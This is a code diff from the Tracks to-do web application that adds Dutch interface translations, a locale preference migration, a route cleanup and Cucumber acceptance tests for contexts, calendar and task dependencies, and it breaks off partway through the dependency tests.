"%{count} zijn verborgen" + more_stats_will_appear: Meer statistieken zullen hier verschijnen zodra u acties hebt toegevoegd. + top5_visible_contexts_with_incomplete_actions: Top 5 zichtbare contexten met onvolledige acties + actions_further: en verder + tod30: Tijd van de dag (laatste 30 dagen) + tag_cloud_90days_description: Deze tag cloud bevat tags van acties die zijn gemaakt of voltooid in de afgelopen 90 dagen. + click_to_return: Klik %{link} om terug te keren naar de statistieken pagina. + top10_projects_30days: Top 10 project in de laatste 30 dagen + actions_selected_from_week: Gekozen acties van week + top10_projects: Top 10 projecten + spread_of_running_actions_for_visible_contexts: Verdeling van actieve acties voor zichtbare contexten + spread_of_actions_for_all_context: Verdeling van acties voor alle contexten + actions_avg_created: In de afgelopen 12 maanden heeft u gemiddeld% {count} acties aangemaakt + click_to_show_actions_from_week: Klik %{link} om de acties van week %{week} en verder te zien. + other_actions_label: (anderen) + totals_completed_project_count: en %{count} zijn afgeronde projecten. + time_of_day_legend: + number_of_actions: Aantal acties + time_of_day: Tijd van de dag + click_to_return_link: hier + totals_hidden_context_count: en %{count} zijn verborgen contexten. + actions_avg_completed: en voltooide een gemiddelde van %{count} acties per maand. + totals: Totalen + no_actions_selected: Er zijn geen acties geselecteerd. + click_to_update_actions: Klik op een balk in de grafiek op de acties hieronder aan te passen. + labels: + month_avg_completed: "%{months} gem afgerond per maand" + completed: Afgerond + month_avg_created: "%{months} gem gemaakt per maand" + avg_created: Gem gemaakt + avg_completed: Gem afgerond + created: Gemaakt + running_time_all_legend: + actions: Acties + running_time: Looptijd van een actie (weken). Klik op een balk voor meer info + percentage: Percentage + actions_actions_avg_created_30days: In de afgelopen 30 dagen heeft u gemiddeld% {count} acties gemaakt + tod30_legend: + number_of_actions: Aantal acties + time_of_day: Tijd van de dag + action_selection_title: "TRACKS:: Actie selectie" + todos: + show_from: Toon vanaf + error_starring_recurring: Kon niet de ster van deze terugkerende actie niet omgezetten \'%{description}\' + recurring_action_deleted: Actie werd verwijderd. Omdat deze actie herhalend is. werd een nieuwe actie toegevoegd + completed_actions: Voltooide acties + completed_recurring: Afgesloten terugkerende todos + added_new_next_action: Nieuwe actie toegevoegd + blocked_by: Geblokkeerd door %{predecessors} + star_action: Markeer deze actie met een ster + completed_recurrence_completed: Er is geen actie na de terugkerende actie die u new verwijderd heeft. De herhaling is voltooid + defer_date_after_due_date: Uitsteldatum is na de vervaldag. Gelieve vervaldag bewerken alvorens uitstedatuml aan te passen. + unable_to_add_dependency: Niet in staat om de afhankelijkheid toe te voegen + done: Voltooid? + star_action_with_description: markeer de actie'%{description}' met een ster + tagged_with: gelabeld met ‘%{tag_name}’ + completed: Afgerond + no_deferred_actions_with: Geen uitgestelde acties met de tag '%{tag_name}' + no_hidden_actions: Momenteel zijn er geen verborgen acties gevonden + action_due_on: (deadline actie op %{date}) + edit_action_with_description: Bewerk de actie '%{description}' + archived_tasks_title: "TRACKS:: Gearchiveerde voltooide taken" + remove_dependency: Verwijder afhankelijkheid (zal niet de actie zelf verwijderen) + list_incomplete_next_actions: Toon onvoltooide acties + action_deleted_success: Actie succesvol verwijderd + tags: Tags (gescheiden door komma's) + new_related_todo_created: Een nieuwe actie is toegevoegd, die behoort bij deze terugkerende todo + context_changed: Context veranderd in %{name} + mobile_todos_page_title: Alle acties + delete_recurring_action_title: Verwijder de terugkerende actie + removed_predecessor: "%{succesor} is verwijderd als afhankelijkheid van %{predecessor}." + recurring_actions_title: TRACKS::Terugkerende acties + next_action_needed: U dient ten minste een actie in te vullen + action_saved: Actie opgeslagen + scheduled_overdue: Gepland om %{days} dagen geleden te tonen + action_deleted_error: Verwijderen van de actie is mislukt + edit_action: Actie bewerken + added_new_context: Nieuwe context toegevoegd + next_actions_description: "Filter:" + list_incomplete_next_actions_with_limit: Toont de laatste %{count} onvoltooide acties + set_to_pending: "%{task} als wachtend ingesteld" + added_new_project: Nieuw project toegevoegd + next_actions_title_additions: + completed: acties voltooid + due_today: deadline vandaag + due_within_a_week: deadline binnen een week + older_completed_items: Oudere voltooide items + append_in_this_project: in dit project + error_deleting_item: Er is een fout opgetreden bij het verwijderen van het item '%{description}' + task_list_title: TRACKS::Toon acties + no_actions_due_this_week: Geen acties met deadline in rest van deze week + no_recurring_todos: Momenteel zijn er geen terugkerende acties + error_completing_todo: Er was een fout bij het voltooien / activeren van de terugkerende actie '%{description}' + convert_to_project: Maak project + no_deferred_pending_actions: Momenteel zijn er geen uitgestelde of in wachtende acties + completed_last_day: Voltooid in de laatste 24 uur + delete_recurring_action_confirm: Weet u zeker dat u wilt de terugkerende actie '%{description}' wilt verwijderen? + show_in_days: Toon over %{days} dagen + no_project: -- Geen project -- + completed_more_than_x_days_ago: Voltooid meer dan %{count} dagen geleden + feed_title_in_context: in context '%{context}' + older_than_days: Ouder dan %{count} dagen + edit: Bewerken + pending: Wachtend + completed_actions_with: Afgeronde acties met de tag %{tag_name} + clear_due_date: Maak deadline leeg + completed_tasks_title: TRACKS::Voltooide taken + feed_title_in_project: In het project '%{project}' + error_removing_dependency: Er is een fout opgetreden het verwijderen van de afhankelijke actie + hidden_actions: Verborgen acties + was_due_on_date: had deadline op %{date} + show_on_date: Toon op %{date} + recurrence_period: Herhaling periode + deferred_actions_with: Uitgestelde acties met de tag '%{tag_name}' + confirm_delete: Weet u zeker dat u de actie '%{description}' wilt verwijderen? + recurring_deleted_success: De recurrente actie is succesvol verwijderd. + next_actions_title: Tracks - Acties + next_action_description: Actie beschrijving + deferred_tasks_title: TRACKS::Tickler + no_completed_actions_with: Geen voltooide acties met de tag '%{tag_name}' + clear_show_from_date: Maak de datum Tonen Vanaf leeg + calendar_page_title: TRACKS::Agenda + in_hidden_state: in verborgen toestand + show_today: Toon vandaag + completed_last_x_days: Voltooid in de laatste %{count} dagen + no_actions_with: Momenteel zijn er geen onvoltooide acties met de tag '%{tag_name}' + defer_x_days: + one: Een dag uitstellen + other: "%{count} dagen uitstellen" + added_new_next_action_singular: Nieuwe actie toegevoegd + no_completed_actions: Momenteel zijn er geen voltooide acties. + deferred_pending_actions: Uitgestelde/wachtende van acties + has_x_pending: + one: Heeft een wachtende actie + other: Heeft %{count} wachtende acties + feeds: + completed: "Voltooid: %{date}" + due: "Deadline: %{date}" + delete_action: Verwijder actie + error_deleting_recurring: Er is een fout opgetreden bij het verwijderen van het item \'%{description}\' + recurring_todos: Terugkerende acties + delete: Verwijder + drag_action_title: Sleep naar een andere actie om deze afhankelijk te maken van die actie + depends_on: Hangt af van + tickler_items_due: + one: Een tickler item wordt nu zichtbaar - vernieuw de pagina om het te zien. + other: "%{count} tickerl items zijn nu zichtbaar - vernieuw de pagina om ze te zien." + action_marked_complete: De actie '%{description}' werd gemarkeerd als %{completed} + completed_today: + one: U heeft een actie tot nu toe vandaag voltooid. + other: U heeft %{count} acties tot nu toe vandaag voltooid. + added_new_next_action_plural: Nieuwe acties toegevoegd + error_starring: Kon niet de ster van deze actie niet omzetten \'%{description}\' + show_tomorrow: Toon morgen + calendar: + get_in_ical_format: Ontvang deze agenda in iCal-formaat + due_next_week: Deadline deze week + due_this_week: Deadline in rest van deze week + no_actions_due_next_week: Geen acties met deadline in volgende week + no_actions_due_today: Geen acties met deadline vandaag + due_today: Deadline vandaag + due_next_month_and_later: Deadline in %{month} en later + no_actions_due_after_this_month: Geen acties met deadline na deze maand + due_this_month: Deadline in rest van %{month} + no_actions_due_this_month: Geen acties met deadline in de rest van deze maand + recurrence: + ends_on_number_times: Eindigt na %{number} keer + ends_on_date: Eindigt op %{date} + every_work_day: Elke werkdag + recurrence_on_due_date: de datum dat deadline van de actie is + weekly_options: Instellingen voor de wekelijkse terugkerende acties + monthly_options: Instellingen voor maandelijks terugkerende acties + weekly: Wekelijks + monthly: Maandelijks + starts_on: Begint op + daily_options: Instellingen voor dagelijks terugkerende acties + daily: Dagelijks + show_option_always: altijd + yearly_every_x_day: Elke %{month} %{day} + recurrence_on_options: Stel herhaling in op + daily_every_number_day: Elke %{number} dag(en) + ends_on: Eindigt op + weekly_every_number_week: Herhaalt elke %{number} weken op + show_options: Toon de actie + yearly_options: Instellingen voor jaarlijks terugkerende acties + yearly_every_xth_day: De %{day} %{day_of_week} van %{month} + show_days_before: "%{days} dagen v\xC3\xB3\xC3\xB3r de deadline van actie" + from_tickler: de datum dat de actie uit de tickler komt (geen deadline ingesteld) + no_end_date: Geen einddatum + day_x_on_every_x_month: Dag %{dag} op elke %{month} maand + yearly: Jaarlijks + monthly_every_xth_day: De %{dag} %{day_of_week} van elke %{month} maand + tagged_page_title: TRACKS::Tagged met '%{tag_name}' + no_completed_recurring: Momenteel zijn er geen voltooide terugkerende acties + added_dependency: "%{dependency} als afhankelijkheid toegevoegd." + no_deferred_actions: Momenteel zijn er geen uitgestelde acties. + recurrence_completed: Er is geen volgende actie na de terugkerende actie die u zojuist hebt voltooid. De herhaling is voltooid + no_actions_found: Geen acties gevonden + in_pending_state: in wachtende toestand + due: Deadline + action_marked_complete_error: De actie '%{description}' is niet gemarkeerd als %{completed} vanwege een fout op de server. + add_new_recurring: Voeg een nieuwe terugkerende actie toe + depends_on_separate_with_commas: Afhankelijk van (gescheiden door komma's) + recurring_action_saved: Terugkerende actie opgeslagen + action_saved_to_tickler: Actie opgeslagen in tickler + completed_in_archive: + one: Er is een voltooide actie in het archief. + other: Er zijn %{count} afgeronde acties in het archief. + to_tickler: naar tickler + next_actions_description_additions: + completed: in de afgelopen %{count} dagen + due_date: met een deadline %{due_date} of eerder + overdue: Achterstallig + no_incomplete_actions: Er zijn geen onvoltooide acties + notes: + delete_note_title: Verwijder de notitie '%{id}' + delete_confirmation: Weet u zeker dat u de notitie '%{id}' wilt verwijderen? + delete_item_title: Verwijder item + deleted_note: Verwijder notitie '%{id}' + note_link_title: Toon notitie %{id} + show_note_title: Toon notitie + note_location_link: "In:" + edit_item_title: Item bewerken + no_notes_available: "Momenteel zijn er geen notities: voeg notities toe aan projecten vanaf de individuele project pagina's." + note_header: Notitie %{id} + delete_note_confirm: Weet u zeker dat u de notitie '%{id}' wilt verwijderen? + errors: + user_unauthorized: "401 Unauthorized: Alleen administratieve gebruikers mogen deze functie gebruiken." + states: + hidden_plural: Verborgen + completed: Afgerond + completed_plural: Afgeronde + visible_plural: Zichtbare + visible: Zichtbaar + active_plural: Actieve + active: Actief + hidden: Verborgen + time: + am: ochtend + formats: + default: "%A, %d %B %Y %H:%M:%S %z" + time: "%H:%M" + short: "%d %B %H:%M" + long: "%A, %d. %B %Y, %H:%M" + pm: middag + preferences: + open_id_url: Uw OpenID URL is + staleness_starts_after: Ophopen begint na %{days} dagen + change_identity_url: Verander uw Identity URL + page_title: "TRACKS:: Voorkeuren" + change_password: Wijzig uw wachtwoord + token_description: Token (voor feeds en API gebruik) + title: Uw voorkeuren + show_number_completed: Toon %{number} voltooide items + edit_preferences: Voorkeuren bewerken + page_title_edit: "TRACKS:: Voorkeuren bewerken" + generate_new_token: Genereer een nieuwe token + sms_context_none: Geen + token_header: Uw token + authentication_header: Uw authenticatie + current_authentication_type: Uw authenticatietype is %{auth_type} + change_authentication_type: Verander uw authenticatietype + generate_new_token_confirm: Weet u dit zeker? Het genereren van een nieuw token zal de bestaande te vervangen en dit zal het extern gebruiken van de oude token laten mislukken. + projects: + default_context_set: Stel project standaard context in op %{default_context} + deferred_actions: Uitgestelde acties voor dit project + edit_project_title: Bewerk project + default_tags_removed_notice: De standaard tags zijn verwijderd + page_title: "TRACKS:: Project: %{project}" + hide_form: Verberg formulier + deferred_actions_empty: Er zijn geen uitgestelde acties voor dit project + project_state: Project is %{state}. + show_form_title: Maak een nieuw project + to_new_project_page: Ga naar de nieuwe projectpagina + no_notes_attached: Momenteel zijn er geen notities toegevoegd aan dit project + notes: Notities + todos_append: in dit project + notes_empty: Er zijn geen notities voor dit project + no_projects: Momenteel zijn er geen projecten + hide_form_title: Verberg nieuw project formulier + completed_actions_empty: Er zijn nog geen afgeronde acties voor dit project + delete_project: Project verwijderen + show_form: Toevoegen van een project + delete_project_confirmation: Weet u zeker dat u wilt het project '%{naam} wilt verwijderen? + set_default_tags_notice: Stel project standaard tags in op %{default_tags} + add_note: Een notitie toevoegen + project_saved_status: Project opgeslagen + settings: Instellingen + completed_projects: Voltooide projecten + list_projects: "TRACKS:: Overizcht van projecten" + add_project: Voeg project toe + hidden_projects: Verborgen projecten + delete_project_title: Verwijder het project + default_context_removed: Standaard context verwijderd + completed_actions: Afgeronde acties voor dit project + add_note_submit: Notitie toevoegen + status_project_name_changed: Naam van het project werd gewijzigd + no_default_context: Dit project heeft geen standaard context + active_projects: Actieve projecten + state: Dit project is %{state} + default_context: De standaard context voor dit project is %{context} + date: + month_names: + - + - Januari + - Februari + - Maar + - April + - Mei + - Juni + - Juli + - Augustus + - September + - Oktober + - November + - December + order: + - :day + - :month + - :year + abbr_day_names: + - Zo + - Ma + - Di + - Wo + - Do + - Vr + - Za + formats: + only_day: "%e" + default: "%d-%m-%Y" + short: "%e %b" + long: "%e %B %Y" + day_names: + - Zondag + - Maandag + - Dinsdag + - Woensdag + - Donderdag + - Vrijdag + - Zaterdag + abbr_month_names: + - + - Jan + - Feb + - Maa + - Apr + - Mei + - Jun + - Jul + - Aug + - Sep + - Okt + - Nov + - Dec + support: + array: + last_word_connector: ", en" + words_connector: "," + two_words_connector: en + select: + prompt: Selecteer + shared: + multiple_next_actions: Meerdere acties (een op elke regel) + toggle_single: Voeg een actie toe + hide_form: Verberg formulier + add_actions: Toevoegen acties + add_action: Actie toevoegen + tags_for_all_actions: Tags voor alle acties (scheiden met een komma) + toggle_multi: Voeg meerdere acties toe + toggle_single_title: Voeg een nieuwe actie toe + project_for_all_actions: Project voor alle acties + context_for_all_actions: Context voor alle acties + separate_tags_with_commas: gescheiden door komma's + toggle_multi_title: Toggle single / multi actie formulier + hide_action_form_title: Verberg nieuwe actie formulier + users: + auth_type_update_error: "Er was een probleem met het bijwerken van uw authenticatietype: %{error_messages}" + total_contexts: Totaal aantal contexten + first_user_heading: "Welkom bij TRACKS. Om te beginnen, maak dan een admin account:" + successfully_deleted_user: Succesvol gebruiker %{username} verwijderd + failed_to_delete_user: Mislukt de gebruiker %{username} te verwijderen + openid_url_verified: Je hebt %{url} met succes geverifieerd als je identiteit en uw authenticatie type OpenID opgeslagen. + destroy_successful: Gebruiker %{login} met succes verwijderd + total_projects: Totaal aantal projecten + signup_successful: Aanmelding succesvol voor gebruiker %{username}. + new_token_generated: Nieuwe token met succes gegenereerd + no_signups_title: "TRACKS:: Geen nieuwe aanmeldingen" + user_created: Gebruiker aangemaakt. + change_password_submit: Wachtwoord wijzigen + account_signup: Aanmelden voor een account + manage_users: Beheren gebruikers + password_updated: Wachtwoord bijgewerkt. + signup: Aanmelden + auth_type_updated: Authenticatietype bijgewerkt. + total_actions: Totaal aanal acties + desired_login: Gewenste login + confirm_password: Bevestig wachtwoord + new_user_heading: "Registreer een nieuwe gebruiker:" + change_password_title: TRACKS::Wachtwoord wijzigen + change_auth_type_title: TRACKS::Wijzig authenticatietype + change_password_prompt: Voer uw nieuwe wachtwoord in de onderstaande velden in en kies 'Wachtwoord wijzigen' om uw huidige wachtwoord met uw nieuwe te vervangen. + password_confirmation_label: Bevestig wachtwoord + destroy_error: Er is een fout opgetreden bij het verwijderen van de gebruiker '%{login}' + choose_password: Kies een wachtwoord + label_auth_type: Authenticatietype + new_password_label: Nieuw wachtwoord + register_with_cas: Met uw CAS gebruikersnaam + destroy_user: Verwijder de gebruiker + total_users_count: Je hebt een totaal van %{count} gebruikers + new_user_title: "TRACKS:: Aanmelden als de admin gebruiker" + destroy_confirmation: "Waarschuwing: dit zal de gebruiker '%{login} verwijderen met al zijn acties, contexten, projecten en notities. Weet u zeker dat u wilt doorgaan?" + signup_new_user: Registreer nieuwe gebruiker + identity_url: Identiteit URL + openid_ok_pref_failed: Je hebt succesvol de %{url} geverifieerd als je identiteit, maar er was een probleem met het opslaan van uw authenticatie voorkeuren. + auth_change_submit: Wijzigen authenticatietype + change_authentication_type: Wijzigen authenticatietype + select_authentication_type: Selecteer uw nieuwe authenticatie type en klik op 'Wijzigen authenticatietype' om uw huidige instellingen te vervangen. + total_notes: Totaal aantal notities + feedlist: + actions_due_today: Acties die vandaag of eerder af moeten + choose_context: Kies de context waar je een feed van wilt + rss_feed: RSS Feed + ical_feed: iCal feed + legend: Legenda + all_contexts: Alle contexten + all_projects: Alle projecten + choose_project: Kies het project waar je een feed van wilt + active_projects_wo_next: Actieve projecten zonder acties + project_needed: "Er moet ten minste \xC3\xA9\xC3\xA9n project zijn voor een feed opgevraagd kan worden" + select_feed_for_project: Kies de feed voor dit project + active_starred_actions: Alle gesterde, actieve acties + context_needed: "Er moet eerst ten minste \xC3\xA9\xC3\xA9n context zijn voor je een feed kan opvragen" + select_feed_for_context: Kies de feed voor deze context + projects_and_actions: Actieve projecten met hun acties + actions_due_next_week: Acties die binnen 7 dagen afgerond moeten + notice_incomplete_only: "Merk op: alle feeds laten alleen acties zien die niet afgerond zijn, tenzij anders vermeld." + last_fixed_number: Laatste %{number} acties + all_actions: Alle acties + actions_completed_last_week: Acties afgerond in de afgelopen 7 dagen + context_centric_actions: Feeds voor onafgeronde acties in een specifieke context + plain_text_feed: Reguliere tekst feed + project_centric: Feeds voor onafgeronde acties in een specifiek project + sidebar: + list_name_active_contexts: Actieve contexten + list_name_active_projects: Actieve projecten + list_empty: Geen + list_name_completed_projects: Voltooide projecten + list_name_hidden_projects: Verborgen projecten + list_name_hidden_contexts: Verborgen contexten + contexts: + delete_context_title: Verwijder context + hide_form: Verberg formulier + show_form_title: Voeg een context toe + delete_context: Verwijder context + delete_context_confirmation: Weet u zeker dat u de context '%{name}' wilt verwijderen? Merk op dat dit ook alle (herhalende) acties in deze context zal verwijderen! + hide_form_title: "Verberg formulier voor nieuwe context " + edit_context: Bewerk context + hidden_contexts: Verborgen contexten + no_contexts_active: Momenteel zijn er geen actieve contexten + context_hide: Verberg van de start pagina? + save_status_message: Context bewaard + show_form: Maak een nieuwe context + add_context: Context toevoegen + visible_contexts: Zichtbare contexten + update_status_message: Naam van de context was veranderd + context_name: Context naam + new_context_post: "' zal ook gemaakt worden. Weet u dit zeker?" + status_active: Context is actief + new_context_pre: Nieuwe context ' + no_actions: Momenteel zijn er geen onafgeronde acties in deze context + last_completed_in_context: in deze context (laatste %{number}) + context_deleted: De context '%{name}' is verwijderd + no_contexts_hidden: Momenteel zijn er geen verborgen contexten + status_hidden: Context is verborgen + datetime: + prompts: + minute: Minuut + second: Seconden + month: Maand + hour: Uur + day: Dag + year: Jaar + distance_in_words: + less_than_x_minutes: + one: minder dan een minuut + other: minder dan %{count} minuten + zero: minder dan 1 minuut + almost_x_years: + one: bijna 1 jaar + other: bijna %{count} jaren + x_days: + one: 1 dag + other: "%{count} dagen" + x_seconds: + one: 1 seconde + other: "%{count} seconden" + less_than_x_seconds: + one: minder dan 1 seconde + other: minder dan %{count} seconden + zero: minder dan 1 seconde + x_months: + one: 1 maand + other: "%{count} maanden" + x_minutes: + one: 1 minuut + other: "%{count} minuten" + about_x_hours: + one: ongeveer 1 uur + other: ongeveer %{count} uren + about_x_months: + one: ongeveer 1 maand + other: ongeveer %{count} maanden + about_x_years: + one: ongeveer 1 jaar + other: ongeveer %{count} jaren + over_x_years: + one: over 1 jaar + other: over %{count} jaren + half_a_minute: halve minuut + login: + sign_in: Meld aan + openid_identity_url_not_found: Sorry, geen gebruiker met die identiteit URL bestaat (% {identity_url}) + login_cas: Ga naar het CAS + user_no_expiry: Blijf ingelogd + cas_logged_in_greeting: Hallo, % {username}! U bent geauthenticeerd. + cas_no_user_found: Hallo,% {username}! Je hebt nog geen account op Tracks. + cas_login: CAS Inloggen + successful_with_session_info: "Login succesvol:" + please_login: Log in om Tracks te gebruiken + cas_username_not_found: Sorry, geen gebruiker met die CAS gebruikersnaam bestaat (% {username}) + cas_create_account: Als u willen vragen ga hier om %{signup_link} + mobile_use_openid: ... if inloggen met een OpenID + account_login: Account login + cas_signup_link: Aanvragen account + successful: Succesvol aangemeld. Welkom terug! + session_will_not_expire: sessie zal niet verlopen. + session_time_out: Sessie is verlopen. Gelieve % {link} + session_will_expire: sessie zal verlopen na %{hours} u(u)r(en) van inactiviteit. + option_separator: of, + login_standard: Ga terug naar de standaard login + login_with_openid: inloggen met een OpenID + unsuccessful: Login mislukt. + log_in_again: log opnieuw in. + logged_out: Je bent afgemeld bij Tracks. + search: + contexts_matching_query: Contexten passend bij zoekopdracht + tags_matching_query: Tags passend bij zoekopdracht + no_results: Uw zoekopdracht heeft geen resultaten opgeleverd. + todos_matching_query: Todos passend bij zoekopdracht + projects_matching_query: Projecten passend bij zoekopdracht + notes_matching_query: Notities passend bij zoekopdracht diff --git a/config/routes.rb b/config/routes.rb index bca2a5de..00a96a10 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -11,11 +11,7 @@ ActionController::Routing::Routes.draw do |map| contexts.resources :todos, :name_prefix => "context_" end - map.resources :projects, :collection => {:order => :post, :alphabetize => :post} do |projects| - projects.resources :todos, :name_prefix => "project_" - end - - map.resources :projects, :collection => {:order => :post, :actionize => :post} do |projects| + map.resources :projects, :collection => {:order => :post, :alphabetize => :post, :actionize => :post} do |projects| projects.resources :todos, :name_prefix => "project_" end @@ -83,9 +79,8 @@ ActionController::Routing::Routes.draw do |map| map.search 'search', :controller => 'search', :action => 'index' map.data 'data', :controller => 'data', :action => 'index' - if Rails.env == 'test' - map.connect '/selenium_helper/login', :controller => 'selenium_helper', :action => 'login' - end + map.connect '/selenium_helper/login', :controller => 'selenium_helper', :action => 'login' if Rails.env == 'test' + Translate::Routes.translation_ui(map) if Rails.env != "production" # Install the default route as the lowest priority. map.connect ':controller/:action/:id' diff --git a/db/migrate/20110104200112_add_locale_to_preference.rb b/db/migrate/20110104200112_add_locale_to_preference.rb new file mode 100644 index 00000000..05525e1e --- /dev/null +++ b/db/migrate/20110104200112_add_locale_to_preference.rb @@ -0,0 +1,9 @@ +class AddLocaleToPreference < ActiveRecord::Migration + def self.up + add_column :preferences, :locale, :string + end + + def self.down + remove_column :preferences, :locale + end +end diff --git a/features/calendar.feature b/features/calendar.feature new file mode 100644 index 00000000..3e6891f8 --- /dev/null +++ b/features/calendar.feature @@ -0,0 +1,19 @@ +Feature: dependencies + As a Tracks user + In order to keep overview of my due todos + I want to manage due todos in a calendar view + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And I have logged in as "testuser" with password "secret" + + Scenario: Setting due date of a todo will show it in the calendar + Given this is a pending scenario + + Scenario: Clearing the due date of a todo will remove it from the calendar + Given this is a pending scenario + + Scenario: Changing due date of a todo will move it in the calendar + Given this is a pending scenario diff --git a/features/context_edit.feature b/features/context_edit.feature new file mode 100644 index 00000000..9f5abecc --- /dev/null +++ b/features/context_edit.feature @@ -0,0 +1,35 @@ +Feature: Edit a context + In order to work on todos in a context + As a Tracks user + I want to manage todos in a context + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And I have logged in as "testuser" with password "secret" + + @selenium + Scenario: In place edit of context name + Given I have a context called "Errands" + When I visit the context page for "Errands" + And I edit the context name in place to be "OutAndAbout" + Then I should see the context name is "OutAndAbout" + When I go to the contexts page + Then he should see that a context named "Errands" is not present + And he should see that a context named "OutAndAbout" is present + + Scenario: Editing the context of a todo will remove the todo + Given this is a pending scenario + + Scenario: Editing the description of a a todo will update that todo + Given this is a pending scenario + + Scenario: Editing the context of the last todo will remove the todo and show empty message + Given this is a pending scenario + + Scenario: Adding a todo to a hidden project will not show the todo + Given this is a pending scenario + + Scenario: Adding a todo to a hidden context will show that todo + Given this is a pending scenario diff --git a/features/context_list.feature b/features/context_list.feature new file mode 100644 index 00000000..a1c3afa8 --- /dev/null +++ b/features/context_list.feature @@ -0,0 +1,91 @@ +Feature: Manage the list of contexts + In order to keep track and manage all of my contexts + As a Tracks user + I want to manage my list of contexts + + Background: + Given the following user record + | login | password | is_admin | + | testuser | secret | false | + And I have logged in as "testuser" with password "secret" + + @selenium + Scenario: Delete context from context page should update badge + Given I have a context called "@computer" + And I have a context called "@ipad" + When I go to the contexts page + Then the badge should show 2 + And the context list badge for active contexts should show 2 + When I delete the context "@computer" + Then he should see that a context named "@computer" is not present + And the badge should show 1 + And the context list badge for active contexts should show 1 + + @selenium + Scenario: Delete last context from context page should remove the contexts container for hidden or active contexts + Given I have a context called "@computer" + And I have a hidden context called "@ipad" + When I go to the contexts page + And I should see that the context container for active contexts is present + And I should see that the context container for hidden contexts is present + When I delete the context "@computer" + Then I should see that a context named "@computer" is not present + And I should see that the context container for active contexts is not present + When I delete the context "@ipad" + Then I should see that a context named "@ipad" is not present + And I should see that the context container for hidden contexts is not present + + @selenium + Scenario: Delete context from context page right after an edit + Given I have a context called "@computer" + When I go to the contexts page + And I edit the context to rename it to "@laptop" + When I delete the context "@laptop" + Then he should see that a context named "@laptop" is not present + And the badge should show 0 + + @selenium + Scenario: Edit context from context twice + Given I have a context called "@computer" + When I go to the contexts page + And I edit the context to rename it to "@laptop" + And I edit the context to rename it to "@ipad" + Then he should see that a context named "@computer" is not present + And he should see that a context named "@laptop" is not present + And he should see that a context named "@ipad" is present + And the badge should show 1 + + @selenium + Scenario Outline: Add a new context with state + Given I have the following contexts + | name | hide | + | @ipad | true | + | @home | false | + When I go to the contexts page + And I add a new context "" + Then I should see the context "" under "" + + Examples: + | state | name | + | active | @phone | + | hidden | @hidden | + + @selenium + Scenario: Cannot add a context with comma in the name + When I go to the contexts page + And I add a new active context "foo, bar" + Then I should see "Name cannot contain the comma" + + @selenium @wip + Scenario: I can drag and drop to order the contexts + # TODO: pending scenario + Given this is a pending scenario + + @selenium @wip + Scenario: Hiding and unhiding the new project form + When I go to the contexts page + Then the new context form should be visible + When I follow "Hide form" + Then the new context form should not be visible + When I follow "Create a new context" + Then the new context form should be visible diff --git a/features/contexts_manage.feature b/features/contexts_manage.feature deleted file mode 100644 index 8c07cd0d..00000000 --- a/features/contexts_manage.feature +++ /dev/null @@ -1,70 +0,0 @@ -Feature: Manage contexts - - In order to manage my contexts - As a Tracks user - I want to view, edit, add, or remove contexts - - Background: - Given the following user record - | login | password | is_admin | - | testuser | secret | false | - And I have logged in as "testuser" with password "secret" - - @selenium - Scenario: In place edit of context name - Given I have a context called "Errands" - When I visit the context page for "Errands" - And I edit the context name in place to be "OutAndAbout" - Then I should see the context name is "OutAndAbout" - When I go to the contexts page - Then he should see that a context named "Errands" is not present - And he should see that a context named "OutAndAbout" is present - - @selenium - Scenario: Delete context from context page should update badge - Given I have a context called "@computer" - When I go to the contexts page - Then the badge should show 1 - When I delete the context "@computer" - Then he should see that a context named "@computer" is not present - And the badge should show 0 - - @selenium - Scenario: Delete context from context page right after an edit - Given I have a context called "@computer" - When I go to the contexts page - And I edit the context to rename it to "@laptop" - When I delete the context "@laptop" - Then he should see that a context named "@laptop" is not present - And the badge should show 0 - - @selenium - Scenario: Edit context from context twice - Given I have a context called "@computer" - When I go to the contexts page - And I edit the context to rename it to "@laptop" - And I edit the context to rename it to "@ipad" - Then he should see that a context named "@computer" is not present - And he should see that a context named "@laptop" is not present - And he should see that a context named "@ipad" is present - And the badge should show 1 - - @selenium - Scenario: Add new context - Given I have the following contexts - | name | hide | - | @ipad | true | - | @home | false | - When I go to the contexts page - And I add a new context "@phone" - Then I should see the context "@phone" under "active" - - @selenium - Scenario: Add new hidden context - Given I have the following contexts - | name | hide | - | @ipad | true | - | @home | false | - When I go to the contexts page - And I add a new hidden context "@hidden" - Then I should see the context "@hidden" under "hidden" diff --git a/features/create_admin.feature b/features/create_admin.feature index da6cf05e..7420f8f1 100644 --- a/features/create_admin.feature +++ b/features/create_admin.feature @@ -1,5 +1,4 @@ Feature: Signup new users - In order to be able to administer Tracks As a user who just installed Tracks I want to create an admin account @@ -9,7 +8,7 @@ Feature: Signup new users | login | password | is_admin | | testuser | secret | false | | admin | secret | true | - + Scenario: Successful signup Given no users exists When I go to the homepage @@ -17,20 +16,20 @@ Feature: Signup new users When I submit the signup form with username "admin", password "secret" and confirm with "secret" Then I should be on the homepage And I should be an admin - + Scenario: Signup should be refused when password and confirmation is not the same Given no users exists When I go to the signup page And I submit the signup form with username "admin", password "secret" and confirm with "error" Then I should be redirected to the signup page And I should see "Password doesn't match confirmation" - + Scenario: With public signups turned off, signup should be refused when an admin user exists Given public signups are turned off When I go to the signup page Then I should see "You don't have permission to sign up for a new account." - + Scenario: With public signups turned on, signup should possible when an admin user exists Given public signups are turned on When I go to the signup page - Then I should see "Sign up a new user" \ No newline at end of file + Then I should see "Sign up a new user" diff --git a/features/dependencies.feature b/features/dependencies.feature index 88cc32ef..1cef6d98 100644 --- a/features/dependencies.feature +++ b/features/dependencies.feature @@ -1,5 +1,4 @@ Feature: dependencies - As a Tracks user In order to keep track of complex todos I want to assign and manage todo dependencies @@ -11,28 +10,71 @@ Feature: dependencies And I have logged in as "testuser" with password "secret" @selenium - Scenario: Adding dependency to dependency - Given I have a project "dependencies" with 3 todos - And "Todo 2" depends on "Todo 1" - When I visit the "dependencies" project - And I drag "Todo 3" to "Todo 2" - Then the dependencies of "Todo 2" should include "Todo 1" - And the dependencies of "Todo 3" should include "Todo 2" - When I expand the dependencies of "Todo 1" - Then I should see "Todo 2" within the dependencies of "Todo 1" - And I should see "Todo 3" within the dependencies of "Todo 1" - When I expand the dependencies of "Todo 2" - Then I should see "Todo 3" within the dependencies of "Todo 2" + Scenario: Adding dependency to dependency by drag and drop + Given I have a project "dependencies" with 3 todos + And "Todo 2" depends on "Todo 1" + When I visit the "dependencies" project + And I drag "Todo 3" to "Todo 2" + Then the successors of "Todo 1" should include "Todo 2" + And the successors of "Todo 